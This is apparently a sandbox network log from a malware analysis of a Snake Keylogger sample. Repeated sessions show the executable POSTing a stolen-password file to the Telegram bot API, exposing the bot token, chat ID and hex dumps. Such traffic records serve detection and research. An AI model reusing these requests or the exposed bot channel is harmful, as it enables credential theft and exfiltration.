Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.5	49999	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:39 UTC	243	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f8ea30bb Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:39 UTC	243	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 38 65 61 33 30 62 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f8ea30bbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:40 UTC	244	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:40 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:40 UTC	244	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66908,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228820,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.5	50000	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:40 UTC	244	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f92f01a8 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:40 UTC	245	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 39 32 66 30 31 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f92f01a8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:40 UTC	245	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:40 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:40 UTC	246	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66909,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228820,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.5	50001	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:40 UTC	246	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f98a9311 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:40 UTC	246	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 39 38 61 39 33 31 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f98a9311Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:41 UTC	247	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:41 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:41 UTC	247	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66910,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228821,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.5	50002	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:41 UTC	248	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f9e0108d Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:41 UTC	248	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 39 65 30 31 30 38 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f9e0108dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:41 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:41 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:41 UTC	249	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66911,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228821,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.5	50003	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:41 UTC	249	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fa1d1fc1 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:41 UTC	250	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 61 31 64 31 66 63 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fa1d1fc1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:42 UTC	250	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:42 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:42 UTC	251	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66912,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228822,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.5	50004	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:42 UTC	251	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fa587ead Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:42 UTC	251	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 61 35 38 37 65 61 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fa587eadContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:42 UTC	252	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:42 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:42 UTC	252	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66913,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228822,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49783	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:44 UTC	25	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d7dd3d95 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:44 UTC	25	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 37 64 64 33 64 39 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d7dd3d95Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:44 UTC	26	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:44 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:44 UTC	26	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66761,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228764,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.5	50005	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:42 UTC	253	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fa972b02 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:42 UTC	253	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 61 39 37 32 62 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 